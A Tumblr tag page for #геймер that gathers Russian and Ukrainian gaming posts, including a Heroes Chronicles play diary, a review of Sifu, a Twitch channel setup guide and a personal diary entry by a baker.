Tumgik
#геймер
ppinkhell · 3 months
Text
З моїми знаннями про ігри, нюанси геймінгу, досить непоганий скіл і мислення
- стрімити і заробляти на життя ⛔
- сидіти тихо на дупці і грати ✅
12 notes · View notes
dimalink · 7 months
Text
Хроники Героев – первый диск, первый раз
Tumblr media
Поиграл в выходной день. На даче. В компьютерную игрушку – Хроники Героев. Это самый первый диск. С историей про варвара. Как он там был королем. Я заметил, что там много сюжета. И это очень важная черта хроник героев. Но, я его если честно, особо не читал.
Но сюжет там хороший. Я отрывками почитывал. Вполне, себе приличное и прописанное фэнтэзи.
Я просто поиграл в саму игру. Она якобы легче чем Герои Меча и Магии 3. И Хроники Героев делались с целью привлечь новую аудиторию в мир Героев Меча и Магии 3. Играться должно легче. И тут много текста с сюжетом. В те годы, в 90ые, 2000ые, я в такое не играл. Я играл в Героев Меча и Магии 3. В полную версию также играл со всеми этими Клинок Армагеддона и Дыхание смерти. Сосредоточился на этой версии.  Когда Герои 3 вышли сразу же обзавелся диском. Кажется, мой брат меня опередил и именно он купил диск с Героями Меча и Магии 3. За что ему спасибо. Мы много играли в 90ые и 2000е в героев. В том числе, и вдвоем в режиме Хот Сит.
Tumblr media
Я тогда плохо относился к аддонам (Addon), типа та же самая игра только новые уровни. Считал, что разработчики ленятся. И лично я не покупал адонны. Будь то дополнения к Халф Лайф или к Героям. В отличие от моего брата. Помню, брат принес диск Клинок Армагедонна. Только этот диск. Я такой  - это тупо новые карты и все. Но брат что-то ответил. Запустили. Все-таки, герои 3 отличная игра. И, да, там новые кампании. Что-то новое там есть. Брат также как-то купил и Халф Лайф, там про охранника. Я не помню. Уже Опозинг Форс или Блю Шифт. Или у него и то и то было на диске. Я тоже такой. Да это тупо новые уровни к Халф Лайф. Нужно типа новую игрушку. Но вот тоже оказалось неплохо. Круто. Мне понравилось. В Халф Лайф тоже сюжет важен.
Так что, Хроники Гереов мы с братом пропустили. Еще и по той причине, что дисков там было много. Чуть ли там не каждый герой – это диск. И это накладно, все это покупать. Просто, потому что это Герои. И да там все неплохо. Но по сути типа кампания и карты. Но интерес был. Узнать, что это за Хроники Героев такие.
Tumblr media
Вот сейчас, устал от второго квейка на даче. И поиграл в Хроники Героев. Там за варвара кампания. И я прошел первый уровень. На второй карте уже. В первой карте очень интересно. Постоянно тебе экраны текста дают. Значит, там мы молодой варвар. Который типа собирает свое королевство. Варвары попали под угнетение там кого-то. И вот мы собираем войска. И враг, пишут текстом, подсылает нам врагов, отраву. Это в виде текста идет. То барды приходят. Бардов тоже притесняют. За то что они знают старинные легенды. Это все должно быть забыто. Но вот барды смело пришли к варвару. И сказали, что видят в нем там кого-то важного. Сюжет там приличный. Текста много. Для любителей фэнтэзи литература самый раз.
Tumblr media
Сама карта небольшая. Игралось легко. Два героя у меня там были. Всех построек не дали. Но большие птицы такие были. И огры маги тоже были в постройках. Так что вполне приличную армию собрать можно. Два замка у меня было.  На карте противники не сложные. Да, я играю на самом легком уровне сложности. Так, интереснее, именно играть. Артефактов много набрал. Даже, немного поплавал на кораблике. Хотя, тут только маленький островок. С артефактами. И текст. Тут много текста будет на карте всплывать. Текст сообщает, что это островок магов. К варварам раньше приходили маги. И это их какой-то гостевой остров был. Интересно.
Когда идем к противнику, то надо пройти через портал. И там сильные враги. Но если скопил армию, то, тоже, нормально. И потом уже к замку противника. Замок прилично охраняется. У меня от моей основной армии почти никого не осталось. Осада замка была суровой. Но, все-таки враг пал. Так, уровень пройденный получился.
Начал второй уровень. Сделал сохранение.
Tumblr media
Дима Линк делает ретро видеоигры, приложения, немного музыку, пишет истории, и еще некоторое ретро.
ВЕБСАЙТ: http://www.dimalink.tv-games.ru/home_rus.html ИТЧИО: https://dimalink.itch.io/ ГЕЙМДЖОЛТ: https://gamejolt.com/@DimaLink/games
7 notes · View notes
simphonia-cruel · 8 months
Text
Серьёзные вопросы:
★Сколько нужно посмотреть аниме, чтобы вас считали анимешником?
★Во сколько игр нужно сыграть, чтобы вас считали геймером?
★Сколько часов нужно провести в игре, чтобы вас считали задротом?
★Сколько мемов нужно сделать/переделать/доделать (ну, вы поняли), чтобы вас считали мемологом?
Я понимаю, что везде будет ответ «много», но почему ни у кого из нас нет конкретных цифр, по достижению которых человек переступает порог нормиза и становится чем-то бо́льшим?
Tumblr media
4 notes · View notes
vasiliaaandreeva · 9 months
Text
Tumblr media
6 notes · View notes
prostotanyalol · 7 months
Text
Геймер🎮💙
Tumblr media Tumblr media
2 notes · View notes
zacepik · 9 months
Text
йоу ку всем привет я вернулся на эту площадку буду искать делать вам голосовые
Tumblr media
2 notes · View notes
paralaxer · 1 year
Text
Це перша версія огляду сіфу.
Ознайомлення.
Треба розуміти, сіфу, хоче зробити вас кунг-фу майстром. Сіфу, майстром всіх навичок.
Для цього вона будує хребет який вас спонукає до проходження. Через цей міцний хребет ви не кидаєте гру на першій поразці, а ідете дальше. У гри є чотири етапи. Перший це радість, вам дають можливість розносити всіх і вся, створюючи своє бойове кіно. Все дуже легко нам дають можливість відчути безсмертя. Прикольний біль, де ми ознайомлюємося із стилем та грою. Третій етап, це біль і страждання, від вас помалу забирать речі і залишають голу бойову систему, та розмахи епічності. І кінець, те куди ми йшли так багато. Нам дають можливість згадати наш початок де ми могли все.
Бойова система. 
Зазвичай екшн ігри із бойовою системою відрізняються тим, що мають активну боротьбу або активний захист. Devil may cry система активна система боротьби, і спрямована на те, щоб набивати комбо, і швидко читати атаки ворога. В дарк соулсі більш пасивна  система. Адже вам більше потрібно працювати не над атаками кількісними, а вчасними, і вам треба більш вичікувати момент. Тобто файтинг ігри, які ми бачили до SIFU, вони вимагали від тебе бути від  або активним, або пасивним, або були десь на балансі. Потребували бути кимось. Чи то данте, чи дум слеєром, чи снейком. 
Сіфу інакша. Вона дає за багато можливостей.
В сіфу в нас є відбивання, ухиляння, відскоки, і удари які пробивають атаки. ТА всі ці прийоми притаманні різним іграм. Відбивання це MGR:R, і Dark Souls, після якого йде спец атака. Ухилення на місці, це зазвичай бокс ігри, де потрібно не міняти свого положення для наступного удару. Відскоки, як в Dark Souls, які використовують для того, щоб втекти від атаки, або обійти опонента. І удари які пробивають атаки, це не парирування, це удар в не захищене місце ворога під час його атаки. І дивно є те що в більшостях екшн іграх з бойовою системою в них не було більше як три елемента, а зазвичай зосередження тільки на одному, або двох.
Але навіщо нам так багато способів уникнути поранення? І це є дивно. Нас гра навчає дуже багатьом прийомам, і каже нам робити що ми хочемо. Показує як ми можемо це зробити. І тому подібні речі. 
Така вільність і креативність дозволяє кожному грати як той хоче. Хочеш активно, або пасивно на одному місці, хочеш пробивай удари, або тікай та розганяйся, щоб збити з далека. Але чим це погано для гравця? Чому креативність може бути погана? Вся причина в туторіалі. 
Важко зробити туторіал щоб він осягнув всі можливі ухилення атаки, плюс щоб він відчув задоволення від гри. Показав перший тип відбивання, і гравець буде думати що це єдиний до кінця гри. Показав відскок і гравець атакує лише тоді коли атака ворога закінчилася. Скажеш, що є пробивання спочатку, то гравець буде ризикувати і злитися через свої дії.
Читання атак.
Особисто я зрозумів, що сіфу гра не на реакцію.  Тобто є якась доля рандома, яка також визначається позицією гравця. Таке собі дерево поведінки, і тобі треба його зрозуміти, вивчити. Ви скажете, що це так не має бути, адже прикол в тому щоб було неочікувано і ти все одно виграв, через свій скіл. (в моїй голові флешбеки Dark Souls`а) Звісно… Але Сіфу така і вона дозволяє вийти із будь-якої ситуації якщо ти знаєш як, і проти кого. А інакше гра тебе накаже.
Що до читання. В нас є гарячі удари, це ті що можуть сильно знищити вашу виснажливість. Вони прямо горять, щоб ти їх побачив. Ще є прості атаки ви також побачите їх. Тому вони ну нормальні. Немає атак що за один кадр вам збиває пів здоров’я. Ще є читання поз. Пасивне, агресивне, змучене і положене. Єдине що треба зауважити із цього списку це положене і змучене, бо всі інші типи ми могли бачити і в житті. Змучене тіло віддає чорну тінь і ледве тримається на ногах. (показуються кадри змучених роботяг).
Залежно від персонажа він буде по різному гойдатися, і його час буде різним. Наприклад міс каблук, буде менше гойдатися ніж простий хуліган. Для введення в цей стан треба швидко і добре збити виснажливість. Так ворог стає безпечний, і його можна добити або легко збити з ніг перевівши в лежачій режим. Де ворог також безпечний також, і можна сильно добити.
Структура. Це виснажливість, по тобі б’ють набирається твоя виснажливість, до ходить до кінця, тебе б’ють сильно. Робиш це з іншими можеш їх таким чином вбити, знищивши структуру в них.
Дуже важливою річчю на перших двох локаціях є інтеракція з предметами. Це допомагає полегшити гру і зробити її приємною на перших локаціях. 
Це прикольна річ. Вона робить вашу битву схожу на якийсь гонконгівський боєвик. І це веселить, коли ти бігаєш по карті перелазиш стіл, і потім по одному на тебе атакують, а ти їх з легкістю відкидаєш. Або залазиш на високу платформу десяток людей йдуть до тебе, і ти відбиваєш їхні удари й кидаєш за борт. Така інтеракція з простором дуже приємна, адже ти думаєш не тільки по бойовому, а ще геометрично. І я радий що в гру додали не тільки стіни й арену з ворогами, як зазвичай було, в файтингах. І навіть добавили прикольні анімації перескоку між платформами. Сюжет простий. В нас є шлях дитини в якої на очах було вбито батька. І він чи вона, йде до помсти. Але зробивши це ти не досягнеш висот і тобі треба буде перепроходити гру, щоб всіх простити адже зброя створенна не для вбиства а для захисту і виживання. Не зі зла чи бажання, а з потрібності та любові.  І ви розумієте, що емоції без розуму бувають дуже погані. А холодний розум може призвести до плачевних ситуацій. І ви маєте бути гіпер крутим розумним вчителем а для таких треба все розуміти та любити. Адже без любові до простого чаю, води вогню, ви не зможете полюбити себе, ба більше своїх учнів.
В нас є частина смерті в грі. У іграх зазвичай ви бачили, помираєте і встаєте там де зберіглися.. А уявіть собі що вас будуть відроджувати на тому самому місці, просто кожного разу забираючи на одне більше життів. Тобто було у вас 20 років. Померли стало 21 померли ще раз стало вже на два роки більше,23 і потім 26,30,35,41… 
Це радісно чути, що ти можеш закінчити своє майже закінчене діло. Ви майже забили боса і залишилося два удари для перемоги. Але ця система має свій прикол. Із легкістю доступу до ворога зменшується серйозність до цього ворога, адже якщо ти можеш воскресити себе і добити його, а ворог цього не може. І автоматично гравець думає, що він бог в цій грі. І як тільки гравець починає бігти до ворога, забуває про всі його рухи, про те хто він і звідки. Та падає, через простий рух ворога. І знову відроджується, і поколу. Це дуже велика проблема всіх хто грав в сіфу.  І… я тільтую. Адже цей баланс між розумом, тілом та емоціями важко тримати насправді. І ця система смерті дозволяє спростити гру та її зрозуміти із точки спокою. Система років зв’язана із п’ятьма монетками. Одна монетка прив’язана до десяти років. Ці п’ять монет дозволяють перемагати смерть в грі. І за кожною монеткою стоїть по п’ять прийомів. Тобто якщо вам 20 для вас доступні п’ять на п’ять двадцять п’ять прийомів. Вам 60 доступні тільки п’ять. За кожен десяток життя ламається одна монета. 
Сподіваюся, що зрозуміли, те що за смерть в Сіфу карається ще тим що забирають різні прийоми. Тобто ти вмер купив собі новий прийом. Помилився і знову помер, але вже повністю. І все нема того прийома. Вкрали. Але не все так просто. Треба його купити п'ять раз щоб він ніколи не пропадав. Тоді ви будете мати ці прийоми, якщо монета коло них ще є. Але навіть якщо ви вмерли, то не треба переживати що ви щось втратили.
Гра також є прикольна через те що має незвичайний монтаж. Я вперше бачу, щоб кат чсцени були настільки динамічні історично насиченні, щоб файно дивилися, передавали суть і відповідали всім принципам монтажу. Під кінець хотілося б зробити виводи. 
Перше це те що гра хоче тебе навчити буди кунг-фу Майстром, але попри це не дає тобі повної інструкції як нею користуватися.
Друге це те що ти як гравець вільний в грі, але водночас змушений пробувати піднімати камінь Сізіфа будучи в оковах. Це надзвичайно комплексна гра, яка своєю різносторонністю показує тобі всі грані, та водночас при неправильному погляді може засліпити. Але гра мені сподобалася. Могло показати що я ставлюся до неї як до не вивченої або не розумної, та по своєму оригінальної гри. Але насправді для мене сіфу це просто цікава суміш звичних мені вже речей. І саме цей мікс заставляє мене вертатися в цю гру. Та робіть її класикою в моєму серці.
Ідеї
Треба порівняти sifu із дмс.
 І спробувати розказати чому вона така. 
Розділити її на різні етапи розвитку. 
І показати що сіфу хоче сказати. 
Розказати про цікаві моменти. 
І про розвиток гравця в грі. Його рух по сюжеті розуму, умінні.
Розуміння у складності.
Блін, а я то дурне. 
В нас схожа система з дмс. В Дмс ребут для ультра удару і нанесенні станну треба відбити ударом. Але попри це є відкати, пробивні удари. Які полегшують життя. Але для комбо буде імбово якщо ви навчитеся крутитися на місці. Цей тяжкий скіл який потрібний для більшості босів, він дає можливість більшого заробляння гемів. Легшого розбирання із противниками. 
Але його дуже тяжко контролювати тому, що тобі треба не просто реагувати на атаки вчасно. А чекати наступні кадри, щоб зрозуміти звідки йде удар. Ця річ заставляє тебе постійно бути в тонусі. Але дає можливість подихати, що в грі дуже важливо, адже без правильного дихання вам прийдеться постійно працювати над використанням різних атак, які перенаправляють ваших ворогів, і довго комбити для кращого результату. Коли б ви могли просто та легко покруитися на місці та використати свої удари.
9 notes · View notes
vtopmedia · 1 year
Text
Оформление Твич, Трово Канала⁠⁠
Tumblr media
Для многих начинающих пользователей оформление Твич канала вызывает много вопросов. Некрасивый внешний вид или полное отсутствие картинок отпугивает пользователей, заставляя их искать профили с более яркими обложками. Ниже проведем пошаговую инструкцию, как настроить каждый элемент Твич канала, разберем особенности и главные сложности процесса.
Что входит в оформление
Для начала отметим, что оформление канала Twitch — комплекс действий, направленных на изменение внешнего вида личной страницы пользователя.
Итак, после регистрации в Твич вы решили привести свой канал в порядок. Что это значит? В настройки входит комплекс следующих действий:
выбор аватара;
установки шапки (баннера);
использование новых кнопок и иконок;
добавление описании и другие шаги.
В Сети доступны шаблоны для Твича, но и в самостоятельном создании элементов нет ничего сложного. Более того, таким способом можно создать уникальный и неповторимый стиль аккаунта.
Аватар
Первое, с чего необходимо начать — добавить фото в Твич вместо изображения человечка на синем фоне справа вверху. По правилам системы разрешено использовать любую фотографию в формате JPG, GIF или PNG при условии, что ее размер не превышает 10 МБ. Для добавления аватара сделайте следующее:
Жмите на символ аватарки с рисованным человечком справа вверху.
Еще раз кликните на нее после открытия меню в Твич.
3. Кликните на кнопку Добавить изображение профиля.
4. Выберите подходящее изображение.
5. Укажите область, которая должна быть отмечена.
6. Подтвердите установку.
После этого убедитесь, что результат соответствует вашей задумке оформления.
Оформление шапки (баннера)
Когда дело доходит до настройки верхней части (шапки), пользователи часто используют шаблоны для оформления Твич канала, Рекомендуемые габариты шапки — 1200х480 при размере не более 10 Мб. Для внесения изменений можно пойти одним из двух путей:
Кликните на аватарку с правой стороны и еще раз жмите на свое изображение. После этого в разделе баннер профиля Твич жмите на кнопку Обновить.
На следующем шаге загрузите фото указанным выше размером с компьютера или ноутбука.
2. Либо войдите в свой канал и с левой стороны жмите на ник. В центре появляется большое черное поле и кнопка для добавления изображения. Повторите действия, описанные выше.
Баннеры для шапки или превью можно оформить самостоятельно или заказать оформление шаблона для Твича у специалистов. В крайнем случае, картинку можно сделать в одной из программ для редактирования (как пример, Фотошоп) или скачать готовый вариант в Интернете (где доступны такие данные, рассмотрим ниже). Еще один способ — создать этот элемент дизайна на одном из онлайн-сервисов.
Перед тем как оформить Твич канал, необходимо продумать его тематику и дальнейшее направление, а уже после создавать баннер (шапку). Некоторые стримеры ограничиваются только названием, но лучше сделать яркое изображение и наложить на баннер расписание стримов.
Кнопки (расширения)
Если вас интересует вопрос, как красиво оформить Твич канал, нельзя забывать о кнопках. На главной страничке включите блоки, отображающие текст, URL-ссылки и кнопки. Для этого сделайте следующие шаги:
Войдите в свой Твич-канал.
2. Опуститесь вниз и переведите ползунок Редактировать панели в правую сторону.
3. Активируйте подходящее расширение или добавьте новое.
Иконки
При желании можно скачать и использовать уже готовые иконки. С их помощью можно улучшить оформление стрима на Твиче и привлечь пользователей. Для загрузки изображений применяйте один из многочисленных сайтов, к примеру, icons8.ru/icons/set/twitch.
Картинки
Использование картинок — обязательный атрибут канала стримера. При выборе изображений помните, что информация на них не должна нарушать авторских прав других пользователей. В ином случае у пользователя могут возникнуть трудности, вплоть до блокировки. Многие предпочитают скачать картинки для оформления Твича в Интернете. Это можно сделать на специальных сайтах при условии, что на фото нет запрета на применение. В ином случае картинки для канала лучше оформить самому.
Выбранное изображение должно иметь ширину 320 px и иметь достаточную четкость изображения. Для загрузки файла необходимо войти в панель редактирования и нажать на кнопку Добавить изображение.
Как добавить описание
Подписчикам интересна не только игра, но и информация о стримере Твич. И здесь нужно знать, как сделать оформление канала Twitch, чтобы данные были доступны пользователям. Алгоритм такой:
Жмите на аватарку с правой стороны.
Еще раз кликните на картинку.
Найдите пункт О себе и укажите краткие сведения. Система рекомендует вводить не более 300 символов.
Оформление Оверлея
Многие спрашивают, как оформить оверлей для Твича. Для этого можно использовать специальные расширения. Сделайте следующие шаги:
Войдите в свой Твич канал.
Опуститесь вниз и переведите ползунок Редактировать панели в правую сторону.
3. Жмите на плюс, а после добавьте изображение, укажите описание и название панели. Помните, что картинка будет масштабирована до ширины в 320 пикселей.
Как вариант, overlay для Twitch можно сделать самостоятельно или заказать в нашей группе.
Оформление стрима
В вопросе, как оформить трансляцию Twitch, самое сложное — создание индивидуального стиля. При выборе картинок, иконок и кнопок старайтесь поддерживать общую атмосферу канала на Твич. В таком случае все элементы будут выглядеть логично.
Отдельное внимание уделите параметрам трансляции. Сделайте следующие шаги:
Войдите в свой Твич канал.
Под окном, где должен идти стрим, жмите на символ карандаша.
Введите название (не более 140 символов).
Сделайте уведомление о трансляции.
Укажите категорию и теги.
Выберите язык стрима и жмите на кнопку Готово.
Этих действий достаточно для оформления трансляции. Постарайтесь не пропускать ни одного поля. Чем полнее будет информация, тем быстрее пользователь найдет канал и подпишется на него. Такая активность в интересах стримера.
Итоги
Теперь вы знаете, как оформить Твич и сделать внешний вид более привлекательным. Постарайтесь уделить этому вопросу больше внимания, ведь от этого зависит внешний вид канала и успех со стороны подписчиков.
📩 Если понадобится моя помощь в оформлении канала, смело обращайтесь - https://vk.com/sergiocortezofficial
2 notes · View notes
maximadi · 2 years
Text
Сегодня решил начать писать о своей жизни и обыденности, в будущем возможно об играх все благодаря #Touchebana, если бы не он, то я бы и не подумал сюда что-либо писать, хоть и создал аккаунт ~год назад
Пожалуй, начну с того, что я сегодня работую, как обычно, я вчера поставил будильник с 4:50 до 6:45 на каждые 5-10 минут(по итогу встал сегодня 6:15 и покушал вафельку) рабочий день начинается с 7:00, кстати работаю я в сети магазинов пчтерочка как пекарь. В течении всех 6 рабочих часов(вместо 12 из-за временного отсутствия человека со второй смены из-за чего мне приходится ежедневно работать по 6 часов) я пеку булочки, слойки, пирожки, улитки и целых 15 видов хлеба! В целом каждый день проходит тихо.
В моей жизни есть так же очень близкие мне люди без которых эта жизнь была бы мрачной, а именно мои лучшие друзья, которые со мной играют и общаются в дискорде(но в последнее время от моего нового графика работы и по некоторым личным причинам я стал меньше с ними общаться) и плевать что половину из них я не видел в живую, к черту стереотип о том что это ненастоящие друзья, в жизни не всегда можно найти такого человека как мои друзья рядом, я их люблю и ценю, мне не хочется их терять и я очень благодарен им за все, но особенно за то, что в недавнем случае когда я отчаялся и был готов все бросить и пуститься в бездну депрессии, они меня поставили перед выбором(не особо одобряю такой метод, но по другому меня не заставить (и не совсем это было выбором)), что помогло мне двигаться дальше, обратиться к психологу и начать работать над собой. Так же я особенно благодарен своей сестре, она самый близкий мне человек, если бы не она, то я был бы совсем другим, в другом месте и возможно в другой семье, я рано потерял свою маму, а опекуном стала моя сестра, мне сложно подумать как ей было тяжело, ведь она на тот момент только стала совершеннолетней, хоть я и получал по шапке от нее из-за моей плохой успеваемости в школе, доброты и заботы я получил куда больше.
Что-то я о своей работе и отношениях пишу и мне стало немного грустно, но так же куда легче.
Теперь хоть и поздно время представиться(СВОЕВРЕМЕННО!), меня зовут Ратмир, я житель Набережных Челнов, мне 20 лет на момент записи, день моего рождения 02.11.2001, имею средне-специальное образование как пекарь 3 разряда и кондитер 4 разряда, живу тихой и спокойной жизнью, мне нравятся как мужчины так и женщины, относительно весёлый, люблю: аниме, мангу, книги, игры, гулять, кушать вкусную еду и сладости, пить спиртное, готовить, животных(друзей тоже (◍•ᴗ•◍)❤), спать, и весело проводить время. Я немного странный, тихий, нервный и бываю вспыльчив, свой характер назвал бы противным, я в нём вижу такую вещь как нарциссизм, так же упертость(хоть этого и не там много, но явно противно), так же мне свойственно откладывать все до такой степени, что у меня появляются крупные проблемы, так же я чертов гений отрицания проблем, довольно низкая самооценка и много каких черт которых я сразу так и не вспомню.
Ну вот мой первый пробный пост, в котором я постарался быть максимально честным, не знаю будет ли его читать кто-то кроме моих друзей или буду ли дальше что-то писать, но то что я сейчас был честен с самим с собой для меня важно.
4 notes · View notes
Text
я довольный.
Tumblr media
2 notes · View notes
mrgameplay · 3 months
Text
youtube
✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇